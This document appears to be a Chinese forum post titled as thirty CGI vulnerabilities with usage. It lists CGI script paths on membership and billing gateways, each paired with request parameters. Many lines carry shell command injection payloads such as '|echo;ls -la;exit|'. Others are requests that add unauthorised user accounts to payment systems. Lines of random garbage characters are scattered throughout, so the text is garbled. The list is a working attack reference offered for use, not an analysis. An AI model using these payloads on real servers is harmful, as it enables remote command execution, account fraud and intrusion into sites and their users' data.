Cgi-bin 30个漏洞＋使用方法

admin

==============================
2 N; A+ r  z, v1 o6 E% H! e1 |$ d
. G" b. i9 h. u4 X/smspass.pl
+ c! o7 |1 G( D1 b- W& e; Tusername=username&password=password

/index.cgi
wei=ren&gen=command
; }  \$ r! G' S. F0 ?8 v1 y3 w# O
+ a0 Z# F3 _. y; z* U: T9 @/passmaster.cgi
& I: v$ R0 R# h' W4 w- ^( c, q; yAction=Add&Username=Username&Password=Password

* N$ \! C* t* \& M, V/accountcreate.cgi
: n+ [' g7 e. a* A( ?4 kusername=username&password=password&ref1=|echo;ls|
( ^% ]2 c. R5 P/ Q3 f& `. a
/form.cgi
/ q! R6 r# a' A2 G0 [+ v/ Mname=xxxx&email=email&subject=xxxx&response=|echo;ls|
/ F# q- w5 h" Q: l0 _0 L, Z
7 F8 |# H1 k+ P' V1 L/ F! E/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

3 u% o/ y- U* d8 }; t: p% L+ ]/ccbill-local.asp
post_values=username:password
" u5 r, n1 X' T! [* ~. a/ _9 k
/count.cgi
% c" D5 s: |. V- fpinfile=|echo;ls -la;exit|
0 `# e; f5 L" m" U5 M) m# Z
/recon.cgi
8 l/ m1 o+ o0 S0 c1 s/ y+ Q/recon.cgi?search
3 H; [$ G3 N2 C* ?. msearchoption=1&searchfor=|echo;ls -al;exit|

' m; \  J/ {7 q& Q: P/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>

' s! s6 o' r9 e$ J# H# z/af.cgi
_browser_out=|echo;ls -la;exit;|

* ]! V' O' r5 z0 Y0 }% q! q/modify.cgi
: J$ F' I, X) i; [- |7 ~4 Xusername=username&password=password&expire=30
# F$ o* z7 t1 b' O
/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
cmd=ADD&user=username&pass=password

: k% N' m' a) b, x# {6 `; _/probecontrol.cgi
command=enable&username=username&password=password
, N) V1 i- F0 O2 Z
0 \& `* l- r' ~0 g( T/recon.cgi
  ]4 ]1 [6 ]) t9 k% Z7 p- gsearchoption=3&searchfor=echo;ls -la;exit
5 R# K- \/ }$ H4 d) ?! F
- T2 T* L, U) ~6 W$ h( l/htadd.pl
configfile=|echo; ls -alt; exit
9 b& d( W5 G2 `' w% Y) t0 T3 |
/gx9passwd.cgi
% m. W( A& _' e3 ]cmd=ADD&user=username&pass=password
- r: S7 M$ S' d% t- P; e
% ~& c" y' |/ c- D# Z, T/ Q/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password
# l) {/ j2 F' s8 g* s
/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)

. I8 L! y  L1 M* k. H* F: v( p4 `3 s. t/globill_ut.cgi
do=add&username=username&password=password&wpassword=password

' |: k4 ]  s- I4 ]- v/usercontrol.cgi
$ b! l. U5 x6 D8 _9 \' ucommand=enable&username=USER&password=PASS

  [/ ?. s; A/ m0 |4 b0 ]6 E, P9 v: o/globoSALErum.cgi
# O/ R) ^$ W) p6 q% O5 ~action=ADD&seccode=seccode&login=username&password=password

- U( ?) P/ k( v. G0 }/addusr.pl
user=USER&pass=PASS&confirm=PASS

/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
; A  R, T* r) e' v* Jpinfile=|echo;pwd;exit|

! p; _! H: w7 S( X4 [/accountcreate.cgi
, S/ Q  a) Z& m! }( I/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
: t5 w. J: u/ q( I5 u
/af.cgi
/env.cgi
; W- d% i3 R6 LADD+;echo;pwd;exit
- q# s! ^  q! t* o9 _4 N: |
/count.cgi
$ @0 h- ^: K+ q7 Upinfile=|echo;pwd;exit|
: t9 h$ z4 s* g! n: t
/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

2 P7 T7 s; B, A5 D# |/add.cgi
username=username&password=password&expire=30

==============================